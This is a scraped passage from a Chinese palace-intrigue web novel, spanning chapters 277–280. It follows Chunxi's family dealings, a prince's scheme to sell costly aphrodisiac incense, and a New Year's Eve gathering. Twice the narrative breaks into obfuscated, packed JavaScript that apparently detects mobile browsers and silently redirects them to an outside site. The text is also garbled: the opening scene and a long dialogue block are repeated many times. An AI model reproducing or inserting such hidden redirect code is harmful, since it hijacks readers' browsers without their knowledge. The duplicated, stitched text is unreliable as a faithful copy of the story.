见到春喜,曹武很是高兴:“马上要过年了,我还想着年前要来看看你呢,你怎么突然回来啦?” “我出门办事,买了些东西,顺道给大哥送来。” 春喜说着撩开车帘,把给正儿准备的新衣裳拿给曹武,阿鲤又从后面抱了几匹崭新的布和熏制好的腊肉来。 这些布并不多名贵,正适合裁来给他们做新衣。 除了曹武,钱氏和王氏都有份。 曹武下意识地拒绝:“家里已经亏欠阿喜很多了,如今你有了是身孕,应该娘家给你和孩子置办东西才是哪能再要你的东西?” “只是一点儿小心意而已,大哥若还把我当自己人就收下吧,”春喜劝了一句,而后转移话题问,“大嫂呢?最近她和正儿过得如何?” “挺好的,她找了一户好人家给人做奶娘,还能带着正儿一起,对方的少夫人还没生,她也没什么事做,就学学规矩,每天吃好喝好养身子就行了,腊八她带正儿回来,娘俩都长胖不少呢。” 曹武没有隐瞒,满脸都是高兴。 春喜也没多说什么,颔首道:“那就好。” 他把茶杯往桌上一放,沉沉道:“该怎么下手是你要想的事,本王只要结果!” 瑛**显动了怒,岚舒不再推辞,恭敬道:“请王爷放心,岚舒会办好这件事的。” 岚舒的乖顺让瑛王的气消了些,片刻后他又让人拿了两盒香料给岚舒。 “这叫销魂香,比无忧香的催情助兴之效更好,你拿回去用一段时间,若有贵客想买,告诉他们这种香料十分稀有,要十两黄金才能买到一钱。” 无忧阁接待的都是高门显贵,这些人不差钱,但十两黄金买一钱香料未免也太离谱了。 但刚刚瑛王已经生气了,岚舒没敢质疑,拿着香料离开。 等他走后,李怀景立刻道:“岚舒虽然是王爷的人,但无忧阁毕竟是别人的势力,王爷就这样把香料给他,会不会惹出什么祸端来?” 瑛王朗笑出声:“放心吧,整个瀚京没人敢查无忧阁,而且无忧阁接待的都是些深闺寂寞的怨妇,她们无所事事,成天想的就是怎么花钱找乐子,咱们等着收钱就好了,不会有什么事的。” 瑛王非常自信,李怀景却还是不太放心:“沈清渊已经发现越西使臣团换取的粮食和布匹数量有些太少了,他最近可能会追查这件事,若让他发现咱们跟使臣团私下还有交易,陛下必然会龙颜大怒,我还是觉得应该小心些比较好。” 李怀景之前也觉得这件事不会有任何问题,但他没想到使臣团刚走,沈清渊就通过使臣团报上去的清单发现了猫腻。 这让他非常不安。 瑛王很不喜欢李怀景这样胆小怕事的性子,他冷着脸道:“这些香料又不会害人性命,而且不过是多换一些难以下咽的粟米和荞麦罢了,这些东西都是本王派人从各地暗中采购直接运往翁州,你在翁州待了近十年,那里都是你的心腹,沈清渊又不是神仙,上哪儿查去?” 不等李怀景劝说,瑛王又道:“你放心,本王很快就会想办法除掉沈清渊,没人能阻挠这件事,你只管好好在御前表现,早日让皇兄封你做市舶使就好了。” 瑛王态度强硬,李怀景不好多说什么,只能应声:“是。” ** 从无忧阁出来,春喜顺道回了趟曹家。 她没进屋,马车停在巷口,阿鲤去敲门,曹武很快跟着阿鲤一起过来。 见到春喜,曹武很是高兴:“马上要过年了,我还想着年前要来看看你呢,你怎么突然回来啦?” “我出门办事,买了些东西,顺道给大哥送来。” 春喜说着撩开车帘,把给正儿准备的新衣裳拿给曹武,阿鲤又从后面抱了几匹崭新的布和熏制好的腊肉来。 这些布并不多名贵,正适合裁来给他们做新衣。 除了曹武,钱氏和王氏都有份。 曹武下意识地拒绝:“家里已经亏欠阿喜很多了,如今你有了是身孕,应该娘家给你和孩子置办东西才是哪能再要你的东西?” “只是一点儿小心意而已,大哥若还把我当自己人就收下吧,”春喜劝了一句,而后转移话题问,“大嫂呢?最近她和正儿过得如何?” “挺好的,她找了一户好人家给人做奶娘,还能带着正儿一起,对方的少夫人还没生,她也没什么事做,就学学规矩,每天吃好喝好养身子就行了,腊八她带正儿回来,娘俩都长胖不少呢。” 曹武没有隐瞒,满脸都是高兴。 春喜也没多说什么,颔首道:“那就好。” 第277章 她们都没安好心啊 春喜答应帮清远侯操持婚事,沈家人的心思全都活络起来,三位婶母拎着礼物上门,不是要想帮着采买酒水,就是想帮着采买菜品,人人都想从里面捞上一笔。 春喜一改之前的态度,全都来者不拒,好说话的很。 沈金花过了几日才听说这个消息,当即来找春喜,一进门就红着眼诉苦:“阿喜,这太傅府真不是人待的地方啊,那李继贤有了莹儿后,就连迟儿的面都不愿意见了,迟儿天天在屋里哭,还要埋怨我这个小姑不好,太傅府的下人也狗眼看人低,根本不把我当回事。 春喜给沈金花倒了杯茶,柔声安慰:“小姑这些日子受苦了,照你所说,迟儿妹妹虽然不受宠,但莹儿妹妹正得宠,她就没帮着小姑一些吗? 说到这个,沈金花更憋屈了,她愤愤道:“李继贤根本就不是个东西,他虽要了莹儿的身子,却对莹儿抠门得很,提起裤子就把莹儿当成丫鬟使唤,稍有不满意就会打骂莹儿,莹儿都偷偷找我哭了两次啦。 沈金花说完多看了春喜两眼,见她神情温和,听得很认真,忍不住问:“那卫家大少爷受伤后脾气应该也不是多好,阿喜你可有什么经验,能不能教教莹儿? 莹儿毕竟是沈金花婆家大嫂的女儿,虽说让她爬床大嫂也是支持的,但要是捞不到好处,莹儿过得还不好,大嫂肯定会生出怨怼。 春喜垂眸,淡淡道:“我也没有什么好法子,毕竟主仆有别,主子不高兴了要找人泄火,做奴才不仅要忍着熬着,还要赔着笑脸谢主子降罚。 沈金花就没见过春喜吃亏,实在想象不出春喜忍气吞声的狗腿子模样,她有些不信,又听到春喜说:“莹儿妹妹的身契还在我手里,要是小姑实在心疼,我也能去太傅府把她要回来。 “不行! 沈金花想也没想直接拒绝,莹儿的身子都给李继贤了,这个时候回来哪还嫁得了好人家,别说大嫂,婆母都要撕了她。 沈金花不敢再质疑春喜,讪讪道:“我就是这么一说,莹儿已经是李继贤的人了,哪能随随便便回来,阿喜你说得对,莹儿自己选了这条路,就要能忍能受得住委屈,等哪天熬出了头,自然就好了。 春喜没接话。 给人为奴为婢不是什么好日子,爬床做妾的更是低贱不堪,要想熬出头实在难如登天。 但沈金花和莹儿已经看到莫氏和沈清迟还有她熬出头的好处了,就像饥肠辘辘的狼看到了肉,不管别人说什么,她们都是听不进去的。 说完莹儿,沈金花 又说起自己最近在太傅府的所见所闻:“这太傅府规矩大得吓人,那太傅夫人都多大年纪了,还不肯把掌家权交给儿媳妇,每天跟老佛爷一样,非要儿媳妇和孙子孙女去给她晨昏定省,府里大小事务她全都要过问,对了,你知道迟儿的奶娘找的谁吗?” 最后一句话,沈金花说得高深莫测。 她现在要在太傅府盯着莹儿和沈清迟,没办法在清远侯的婚事上捞到什么好处,只能从别的方面入手。 春喜知道沈金花要说什么,但还是配合地露出好奇之色:“谁呀?” “你娘家大嫂,钱氏,她带着儿子一起住在太傅府呢!” 沈金花一拍大腿,激动不已。 春喜面露惊愕,而后道:“之前知道我怀孕,大嫂便说想给我做奶娘,但被我拒绝了,没想到她又去了太傅府,他们娘俩在太傅府过得好吗?” “当然好了,迟儿还没生,太傅府就好吃好喝地养着他们,每个月还给你大嫂十两银子呢。” 说着话,沈金花满心嫉妒。 她以亲家小姑的身份在太傅府照顾沈清迟,虽说每日饭菜都挺丰盛的,还有人伺候,但没有月钱可拿,太傅府那些下人还要在背后骂她是厚脸皮来打秋风的穷亲戚,哪有钱氏实打实的十两银子拿在手里好呀。 春喜点点头:“我虽跟迟儿妹妹生了嫌隙,但只要太傅府不苛待大嫂和正儿,让大嫂给迟儿妹妹的孩子做奶娘那也是可以的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110269|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “阿喜,你平日挺聪明的,这个时候怎么犯糊涂了呀,”沈金花皱着眉责怪,不等春喜开口又道,“你把莹儿塞给李继贤,迟儿心里不知道有多恨你呢,她对你大嫂这么好,指不定日后是要让你大嫂怎么害你呢。” “应该不会吧,”春喜犹豫,“就算迟儿妹妹恨我,太傅府也不会再允许她做蠢事,而且刚刚小姑不是说府里大小事宜太傅夫人都会过问吗,她也是愿意雇我大嫂做奶娘的呀。” 沈金花早有准备,她急急道:“这太傅夫人把府里上下所有人都管得死死的,却很听五夫人的话,你大嫂就是五夫人做主招进府的,这个五夫人叫云晚棠,她刚回京不久,就被你和恒阳公主打了一顿,你说她能安什么好心?” 沈金花一心想夺走奶娘这桩差事,把太傅府上下都说得不安好心。 春喜眨眨眼,很是纠结:“小姑说的有道理,但眼下我要忙着筹备年夜饭和继娘的婚事,暂时抽不出精力管这件事,反正迟儿妹妹要年后才生,不如等我忙完再说?” “等你忙完那就迟了!” 这事迟一个月就少拿十两银子呢。 沈金花当即替春喜拿主意:“我知道你忙,这样吧,我去做这个恶人,保证年前让你大嫂主动请辞。” 春喜抿唇不语,似乎在斟酌这件事交给沈金花可不可靠,会不会惹来更多的麻烦。 沈金花本来还想借这件事从春喜这儿敲一笔竹杠的,这会儿怕春喜护着钱氏,当即道:“你放心,我也不做别的,就是把我婆家侄女儿引进太傅府,我婆家侄女儿比你大嫂年轻,奶水比你大嫂的多,还比你大嫂会来事,你大嫂比不过她,自然就不好意思继续待下去了,对吧?” 沈金花拍着胸脯保证绝对不会伤害钱氏和正儿,春喜才“勉为其难”地答应下来。 沈金花高兴地离开,没一会儿,阿鲤又来报:“夫人,岚舒公子来了。” 春喜凛然,杳娘难道真的有大问题,不然岚舒怎么亲自来了? 第278章 一钱香,十两金 春喜让下人换了壶好茶。 茶还没上桌,岚舒就进到前厅。 前几次见面岚舒都穿得挺素净的,文文弱弱的很有书卷气,今日却穿了一身绣了很多花的白色锦衣,整个人的妆容也和平时不太一样。 春喜仍不擅妆扮,说不出具体哪里不一样,就是觉得岚舒整个人的气质都变了,尤其是那双眼睛,跟成了精的公狐狸似的。 春喜虽然好奇杳娘的事,见岚舒如此,还是忍不住多看了他两眼。 难怪岚舒能在无忧阁主事,他这模样虽然比不得驸马,但一身气韵可比驸马勾人多了。 “贸然前来,没有唐突夫人吧?” 刚刚站定,岚舒就歉然开口,春喜连忙摇头:“没有唐突,公子快请坐。” 距离近些,春喜闻到了岚舒身上有股奇异的香味。 那味道并不浓烈,却格外的好闻,不仅让人忍不住心生欢喜,人也精神了些,搭配岚舒今日这一身装扮,更添媚惑。 他亲自来送信也就算了,怎么还把自己弄得像是上门接客的一样? 春喜觉得有些奇怪,但因为有正事,憋着没说。 岚舒坐下后把调查到的关于杳娘的事说出来。 杳娘比清远侯小十二岁,清远侯是她的第一个也是最后一个恩客,两人相识不过三个月,清远侯就为她赎了身,在城西买了一座小宅院把人养了起来。 刚开始清远侯只是去她那里小住,时日一长,就变成了长住。 两人住在一起没两年,清远侯就开始为杳娘找大夫调理身子,想再要个孩子。 容颜易逝,清远侯虽然为杳娘赎身,却没给她名分,杳娘想要个孩子傍身是人之常情,不过进了风尘之地的女子都是要被灌绝子汤的,杳娘这么多年没有动静倒也正常。 “这些年她跟侯爷像是寻常夫妻一样生活着,平日除了出门买菜,做点儿针线活贴补家用,出入最多的就是医馆,有位姓李的大夫给她开药比较多,而且是个鳏夫,如果杳娘腹中的孩子不是侯爷的,此人的嫌疑最大,这位李大夫每日接诊的病人很多,但在瀚京无亲无故,最近也并没有与什么人往来。” 春喜原本以为杳娘是受什么人指使才突然弄出个孩子想进侯府作妖,听完岚舒的话倒像是她想多了。 杳娘求子多年,如果只是想借种上位要个名分,春喜倒也不是一定要拆穿她。 毕竟侯府有了新的当家主母,她的确可以轻松很多。 春喜一边思忖,一边问岚舒这些消息的价格 。 岚舒弯眸道:“这事是阁主亲自去打听的,阁主说夫人是萧大小姐的朋友,打听这些并不费事,只收之前那一百两就够了。” 岚舒只是带话,春喜也不好再去找萧夜辰问价,只能先如此。 送完消息,岚舒便要离开,他一动身上的异香便又传来,春喜没忍住问:“公子身上是什么味道啊?” 岚舒扶了扶袖,挑眉:“夫人喜欢这香?” “闻着感觉挺好闻的,这香是不是还有醒神的功效啊?” 最近春喜总是犯困,怎么睡都睡不够,这会儿闻着这香倒是难得精神。 见春喜很感兴趣,岚舒脸上笑意更深:“这是无忧阁新得的销魂香,其中有一味香料极其珍贵,因此价格颇为高昂,十两黄金才能买得一钱。” “……” 十两黄金只能买一钱,这跟直接抢钱有什么区别? 春喜倒吸了一口凉气,为自己刚刚想要买一点儿回来的想法感到忏愧。 果然是由俭入奢易,她这才过了几天好日子啊,竟然就敢想买无忧阁的东西了。 震惊之后,春喜扯出一抹客气的笑:“听到这个价格,感觉这味道也不过如此了。” 不仅这味道变一般了,连岚舒身上那股子媚惑劲儿都散了。 这哪是狐狸精啊,分明是吞金兽! 春喜毫不掩饰自己买不起,岚舒也没继续推荐,行了礼离开。 夜里,沈清渊回家,春喜先跟他说了杳娘的事。 “我想先观察一下,如果杳娘只是想要借孩子要个名分,不会来烦我,我打算先不拆穿她,夫君觉得呢?” 沈清渊颔首:“侯府那些人太闲了,让他们去狗咬狗挺好的。” 春喜权当他是在夸自己,很是受用地勾起唇角,然后打了一个大大的哈欠。 沈清渊立刻道:“你困了,早些歇息吧,我还有点事,再去书房待会儿。” 这些日子沈清渊都是陪着春喜一起早睡的,他说有事那就肯定是很重要的事了。 春喜点点头,拿了披风给他:“夜里凉,夫君不要熬太久的夜,记得让阿鲤先把炭火生起来。” “好。” 应着声,沈清渊把春喜抱到床上。 春喜有点儿舍不得他走,勾着他的脖子没话找话:“今天岚舒公子亲自来送的消息,他身上还有一股很好闻的味道,闻着挺提神的,我本来想买一点儿回来,但夫君猜那香要卖多少钱?” “多少?” “夫君猜 猜看嘛。” 春喜娇嗔,沈清渊配合地猜了个价:“一百两?” “无忧阁接待的都是些达官贵人,夫君可以猜得大胆些。” “二百两?” 沈清渊翻了一番,春喜摇头,没再耽误他的时间,竖起食指,拔高声音:“那一钱香就要卖十两金,十两黄金,就闻个味儿,这些贵人的钱也未免太好赚了吧。” 春喜说完松开沈清渊,把自己裹进被子里。 她这辈子反正都不可能做这样的冤大头。 正想着,沈清渊的声音传入耳中:“是什么样的香?” 沈清渊的语气有些严肃。 春喜并不知道无忧阁真正的主子是太子,沈清渊却很清楚,太子授意萧夜辰掌管无忧阁,是为了掌握各大世家的情况,日后继任也好迅速立威稳定朝堂,并不是为了大肆赚钱的。 这一钱就要卖十两金的香,实在不像是太子殿下会做的事。 “我也没见到,只是觉得闻着挺提神的,岚舒说其中有种香料很难得,所以才卖得很贵,”春喜如实回答,说完又不放心道,“夫君,你如今虽然是御史台的红人,但也不能忘记初心,得做个好官,宠妻也要有个限度,断然不能染上骄奢淫逸之风。” 春喜的语气认真极了,沈清渊被她逗乐:“好,夫人说的是,为夫一定谨记夫人教诲,时刻警醒自己。” 春喜凑过去亲了沈清渊一下:“好了,夫君去忙吧。” 第二日上值,沈清渊先去找了太子。 太子果然还不知道香料的事,不过他对钱财没什么概念,并不觉得一钱香卖十两金很贵,笑着道:“本宫知道你疼夫人,改日本宫让人送一些给沈夫人就好了。” 猜看嘛。” 春喜娇嗔,沈清渊配合地猜了个价:“一百两?” “无忧阁接待的都是些达官贵人,夫君可以猜得大胆些。” “二百两?” 沈清渊翻了一番,春喜摇头,没再耽误他的时间,竖起食指,拔高声音:“那一钱香就要卖十两金,十两黄金,就闻个味儿,这些贵人的钱也未免太好赚了吧。” 春喜说完松开沈清渊,把自己裹进被子里。 她这辈子反正都不可能做这样的冤大头。 正想着,沈清渊的声音传入耳中:“是什么样的香?” 沈清渊的语气有些严肃。 春喜并不知道无忧阁真正的主子是太子,沈清渊却很清楚,太子授意萧夜辰掌管无忧阁,是为了掌握各大世家的情况,日后继任也好迅速立威稳定朝堂,并不是为了大肆赚钱的。 这一钱就要卖十两金的香,实在不像是太子殿下会做的事。 “我也没见到,只是觉得闻着挺提神的,岚舒说其中有种香料很难得,所以才卖得很贵,”春喜如实回答,说完又不放心道,“夫君,你如今虽然是御史台的红人,但也不能忘记初心,得做个好官,宠妻也要有个限度,断然不能染上骄奢淫逸之风。” 春喜的语气认真极了,沈清渊被她逗乐:“好,夫人说的是,为夫一定谨记夫人教诲,时刻警醒自己。” 春喜凑过去亲了沈清渊一下:“好了,夫君去忙吧。” 第二日上值,沈清渊先去找了太子。 太子果然还不知道香料的事,不过他对钱财没什么概念,并不觉得一钱香卖十两金很贵,笑着道:“本宫知道你疼夫人,改日本宫让人送一些给沈夫人就好了。” 猜看嘛。” 春喜娇嗔,沈清渊配合地猜了个价:“一百两?” “无忧阁接待的都是些达官贵人,夫君可以猜得大胆些。” “二百两?” 沈清渊翻了一番,春喜摇头,没再耽误他的时间,竖起食指,拔高声音:“那一钱香就要卖十两金,十两黄金,就闻个味儿,这些贵人的钱也未免太好赚了吧。” 春喜说完松开沈清渊,把自己裹进被子里。 她这辈子反正都不可能做这样的冤大头。 正想着,沈清渊的声音传入耳中:“是什么样的香?” 沈清渊的语气有些严肃。 春喜并不知道无忧阁真正的主子是太子,沈清渊却很清楚,太子授意萧夜辰掌管无忧阁,是为了掌握各大世家的情况,日后继任也好迅速立威稳定朝堂,并不是为了大肆赚钱的。 这一钱就要卖十两金的香,实在不像是太子殿下会做的事。 “我也没见到,只是觉得闻着挺提神的,岚舒说其中有种香料很难得,所以才卖得很贵,”春喜如实回答,说完又不放心道,“夫君,你如今虽然是御史台的红人,但也不能忘记初心,得做个好官,宠妻也要有个限度,断然不能染上骄奢淫逸之风。” 春喜的语气认真极了,沈清渊被她逗乐:“好,夫人说的是,为夫一定谨记夫人教诲,时刻警醒自己。” 春喜凑过去亲了沈清渊一下:“好了,夫君去忙吧。” 第二日上值,沈清渊先去找了太子。 太子果然还不知道香料的事,不过他对钱财没什么概念,并不觉得一钱香卖十两金很贵,笑着道:“本宫知道你疼夫人,改日本宫让人送一些给沈夫人就好了。” 猜看嘛。” 春喜娇嗔,沈清渊配合地猜了个价:“一百两?” “无忧阁接待的都是些达官贵人,夫君可以猜得大胆些。” “二百两?” 沈清渊翻了一番,春喜摇头,没再耽误他的时间,竖起食指,拔高声音:“那一钱香就要卖十两金,十两黄金,就闻个味儿,这些贵人的钱也未免太好赚了吧。” 春喜说完松开沈清渊,把自己裹进被子里。 她这辈子反正都不可能做这样的冤大头。 正想着,沈清渊的声音传入耳中:“是什么样的香?” 沈清渊的语气有些严肃。 春喜并不知道无忧阁真正的主子是太子,沈清渊却很清楚,太子授意萧夜辰掌管无忧阁,是为了掌握各大世家的情况,日后继任也好迅速立威稳定朝堂,并不是为了大肆赚钱的。 这一钱就要卖十两金的香,实在不像是太子殿下会做的事。 “我也没见到,只是觉得闻着挺提神的,岚舒说其中有种香料很难得,所以才卖得很贵,”春喜如实回答,说完又不放心道,“夫君,你如今虽然是御史台的红人,但也不能忘记初心,得做个好 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春喜并不知道无忧阁真正的主子是太子,沈清渊却很清楚,太子授意萧夜辰掌管无忧阁,是为了掌握各大世家的情况,日后继任也好迅速立威稳定朝堂,并不是为了大肆赚钱的。 这一钱就要卖十两金的香,实在不像是太子殿下会做的事。 “我也没见到,只是觉得闻着挺提神的,岚舒说其中有种香料很难得,所以才卖得很贵,”春喜如实回答,说完又不放心道,“夫君,你如今虽然是御史台的红人,但也不能忘记初心,得做个好官,宠妻也要有个限度,断然不能染上骄奢淫逸之风。” 春喜的语气认真极了,沈清渊被她逗乐:“好,夫人说的是,为夫一定谨记夫人教诲,时刻警醒自己。” 春喜凑过去亲了沈清渊一下:“好了,夫君去忙吧。” 第二日上值,沈清渊先去找了太子。 太子果然还不知道香料的事,不过他对钱财没什么概念,并不觉得一钱香卖十两金很贵,笑着道:“本宫知道你疼夫人,改日本宫让人送一些给沈夫人就好了。” 猜看嘛。” 春喜娇嗔,沈清渊配合地猜了个价:“一百两?” “无忧阁接待的都是些达官贵人,夫君可以猜得大胆些。” “二百两?” 沈清渊翻了一番,春喜摇头,没再耽误他的时间,竖起食指,拔高声音:“那一钱香就要卖十两金,十两黄金,就闻个味儿,这些贵人的钱也未免太好赚了吧。” 春喜说完松开沈清渊,把自己裹进被子里。 她这辈子反正都不可能做这样的冤大头。 正想着,沈清渊的声音传入耳中:“是什么样的香?” 沈清渊的语气有些严肃。 春喜并不知道无忧阁真正的主子是太子,沈清渊却很清楚,太子授意萧夜辰掌管无忧阁,是为了掌握各大世家的情况,日后继任也好迅速立威稳定朝堂,并不是为了大肆赚钱的。 这一钱就要卖十两金的香,实在不像是太子殿下会做的事。 “我也没见到,只是觉得闻着挺提神的,岚舒说其中有种香料很难得,所以才卖得很贵,”春喜如实回答,说完又不放心道,“夫君,你如今虽然是御史台的红人,但也不能忘记初心,得做个好官,宠妻也要有个限度,断然不能染上骄奢淫逸之风。” 春喜的语气认真极了,沈清渊被她逗乐:“好,夫人说的是,为夫一定谨记夫人教诲,时刻警醒自己。” 春喜凑过去亲了沈清渊一下:“好了,夫君去忙吧。” 第二日上值,沈清渊先去找了太子。 太子果然还不知道香料的事,不过他对钱财没什么概念,并不觉得一钱香卖十两金很贵,笑着道:“本宫知道你疼夫人,改日本宫让人送一些给沈夫人就好了。” 猜看嘛。” 春喜娇嗔,沈清渊配合地猜了个价:“一百两?” “无忧阁接待的都是些达官贵人,夫君可以猜得大胆些。” “二百两?” 沈清渊翻了一番,春喜摇头,没再耽误他的时间,竖起食指,拔高声音:“那一钱香就要卖十两金,十两黄金,就闻个味儿,这些贵人的钱也未免太好赚了吧。” 春喜说完松开沈清渊,把自己裹进被子里。 她这辈子反正都不可能做这样的冤大头。 正想着,沈清渊的声音传入耳中:“是什么样的香?” 沈清渊的语气有些严肃。 春喜并不知道无忧阁真正的主子是太子,沈清渊却很清楚,太子授意萧夜辰掌管无忧阁,是为了掌握各大世家的情况,日后继任也好迅速立威稳定朝堂,并不是为了大肆赚钱的。 这一钱就要卖十两金的香,实在不像是太子殿下会做的事。 “我也没见到,只是觉得闻着挺提神的,岚舒说其中有种香料很难得,所以才卖得很贵,”春喜如实回答,说完又不放心道,“夫君,你如今虽然是御史台的红人,但也不能忘记初心,得做个好官,宠妻也要有个限度,断然不能染上骄奢淫逸之风。” 春喜的语气认真极了,沈清渊被她逗乐:“好,夫人说的是,为夫一定谨记夫人教诲,时刻警醒自己。” 春喜凑过去亲了沈清渊一下:“好了,夫君去忙吧。” 第二日上值,沈清渊先去找了太子。 太子果然还不知道香料的事,不过他对钱财没什么概念,并不觉得一钱香卖十两金很贵,笑着道:“本宫知道你疼夫人,改日本宫让人送一些给沈夫人就好了。” 第279章 除夕夜 又一场大雪过后,除夕来临。 所有官员休沐三日,沈清渊也停下手头的事,专心在家陪春喜过年。 这是两人在一起过的第一个年,春喜的兴奋压过睡意,一大早就拉着沈清渊在院子里堆雪人。 沈清渊没玩过这些,堆的雪人很丑,春喜却很有经验,拿着铁锹拍拍打打,很快堆出一个憨态可掬的雪人来。 “夫君虽然做什么都很厉害,但在堆雪人一事上,逊色我许多呢,以后我们的孩子肯定会更喜欢我一些。 春喜拿着铁锹,欣赏着自己的作品,眉眼之间全是得意。 沈清渊并不与她争,点头附和:“夫人怀胎十月辛苦了,孩子理应与你更加亲近,只盼夫人到时别有了孩子就不管为夫。 沈清渊语气认真,春喜挑眉道:“生完孩子我会身材走样,说不定还会落下什么病根,应该是我盼着夫君不要变心冷落我才是。 “我不会变心,沈清渊毫不犹豫,“不管夫人变成什么样,在我眼里都是最好的。 得了承诺,春喜唇角上扬,点头道:“只要夫君待我始终如一,我也会一直把夫君放在第一位的,就算有了孩子,夫君也还是这世上对我最重要的人。 春喜给府里的下人放假让他们回去跟家人团聚,中午准备了汤锅跟虎叔豹叔还有府里的护院一起吃涮羊肉。 吃饭的时候,又下起雪来,锅里咕嘟咕嘟煮着肉,香气四溢,吃得浑身都很暖和,众人虽然不能回家,但有加倍的月钱,脸上也洋溢着幸福的笑。 两杯酒下肚,豹叔忍不住感慨:“这下着雪吃着热腾腾的汤锅也太惬意了,我感觉过去这么多年我都白活了。 春喜又下了些羊肉到锅里,柔声道:“汤锅准备起来很容易,以后豹叔想吃,可以让厨房的人准备,也可以自己弄,待会儿我把蘸水的调制方法也写给你。 过了一段时间安稳日子,豹叔感觉之前刀口舔血的日子像是一场梦,如今再看春喜,没有看雇主的感觉,反倒像是看自家小辈。 豹叔捞了一筷子羊肉到碗里,被热气熏了眼,再开口有些哽咽:“我林豹从来不欠别人的,你把独家蘸水都给我了,我也把我独家的刀法传授给你,等你学会了,随便露一手,想必那些世家夫人都不敢再瞧不起了。 “好啊! 春喜眼前一亮,热烈地跟豹叔讨论起他的独家刀法来。 虎叔没有参与讨论,只默默给沈清渊斟了杯酒,低声问:“大人之前说会帮我们找人,如今可 有线索了?” “他早已改名换姓,又过了这么多年,找起来如同大海捞针,眼下还没有线索,不过我查到一点,当年你们出事,并非被山匪所劫,而是被人蓄意追杀。” 这话一出,虎叔脸色微变,他不想让林豹知道这件事,借口去拿酒起身离开,没一会儿,沈清渊也走了出来。 四下无人,虎叔这才追问:“大人可查到幕后主使是谁?” “尚未。” 沈清渊摇头,虎叔皱眉,正怀疑他没有尽心调查,又听到沈清渊说:“当年护送你们离开的镖师,其中一位是我的岳父,若不是他拼死相护,你们恐怕没有机会活着离开,就算不为了你们,我也会继续追查这件事。” 虎叔浑身一震,想到春喜那张总是明媚热烈的脸,心口一滞,片刻后才追问:“敢问大人的岳父叫什么?” “我岳父是天下镖局副镖头曹仁风。” 午饭后,春喜消完食扛不住睡意呼呼大睡,直到傍晚才又起床,换了衣服跟沈清渊一起回侯府吃年夜饭。 下午光睡觉了,春喜没怎么饿,回侯府纯粹是看热闹玩的。 有沈清渊在,沈家上下对她都很客气,年后还要她帮忙操持婚礼,清远侯也没摆公爹的架子数落她的不是,饭间只对沈清越和沈清宇的学业退步表达了失望。 沈家人为了讨好春喜,全都跟着附和,让沈清越和沈清宇多跟沈清渊学学,两人被说得脸一阵青一阵白。 饭后,沈家的小辈排着队来要压岁钱。 吴氏和清远侯虽然给得不多,但都有准备,轮到春喜的时候,沈家众人一唱一和地把春喜架起来,暗示她现在身份不一样了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119279|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出手要大方些,不能太小家子气。 不等春喜开口,沈清渊便抢先道:“我长这么大,从没得到各位叔伯的压岁钱,如今阿喜怀了身孕,咱们沈家人又难得聚在一起,诸位叔伯是不是也该给我未出世的孩子表示表示?” 众人:“……” 不是,你还真是一点儿都不肯吃亏,我们也就只是想占点儿便宜,你这是要我们大出血啊。 众人都怕沈清渊较真,只能含含糊糊地把这个话题绕过去,但免不了念叨两句,说他们抠门一毛不拔。 沈清渊不爱听这些,直接拉着春喜起身:“阿喜怀着身孕,不宜久坐,我先带她回家休息了。” 沈清渊并非商量,众人不敢阻拦,等两人离开,沈家老二才没好气地开口:“娘、大哥,你们看看他现在成什么样了,对长辈一点儿尊重都没有。” 吴氏连春喜这个孙媳妇都管不住,哪管得了沈清渊,她垂着眼皮不吭声,清远侯早就习惯沈清渊的态度,他翻了个白眼,没好气道:“以后这种话你可以当着他的面说,你要是能教会他尊重长辈,我可以让他喊你爹。” 沈老二:“……” 大哥你不如说让沈清渊打死我好了。 春喜在家里备了烟花,两人回家后痛痛快快地玩了许久,又舒舒服服地躺到床上聊天守岁。 今晚萧家也很热闹。 为了庆祝萧清禾归家,萧家准备了很多烟花,附近的百姓都被吸引过来看热闹,萧家女眷则都围着萧清禾劝慰开解,萧清禾淡笑着回应,心底柔软一片。 相比之下,卫家今年的年夜饭吃得就有些压抑了。 因为卫凌泽屡次犯错出丑,卫家儿郎的风评多多少少都有些受到影响,各房坐在一起,免不了阴阳埋怨几句。 年夜饭没吃完,卫凌泽就起身离席。 他阴沉着一张脸,回凌枫院待了没一会儿,便出府去了无忧阁。 岚舒很是讶异:“卫大公子,今儿可是除夕,你怎么来了?” 卫凌泽没拿正眼看岚舒,甩了一沓银票到岚舒脸上:“别废话,让萧夜辰来见我。” 第280章 阁主要杀了我吗? 外面爆竹声声,到处都是合家团圆的温馨美好,往日热闹非凡的无忧阁此刻却格外冷清。 岚舒把卫凌泽引到楼上,把原本买来给自己吃的酒菜分享给卫凌泽:“天冷,卫公子先喝杯酒暖暖身子。” 卫凌泽冷着脸,直接把那杯酒扫落在地:“我不是来喝酒的,我再说一遍,让萧夜辰来见我。” “今日除夕,阁主不会来这里的,而且平日阁里的事都是我在打理,阁主并不参与。” 岚舒陪着笑,温温和和地开口,话音未落,脖子就被卫凌泽掐住:“你只有两个选择,要么叫他来见我,要么替他**!” 卫凌泽手劲儿很大,说话时不断收紧手掌,岚舒没有硬来,连连点头。 片刻后,卫凌泽松开手。 “咳咳。” 岚舒轻咳两声,当着卫凌泽的面吩咐人去请萧夜辰。 等人离开,岚舒往火盆里添了炭,而后取了一把古琴来。 指尖轻抚,清灵的琴音立刻涤荡开来。 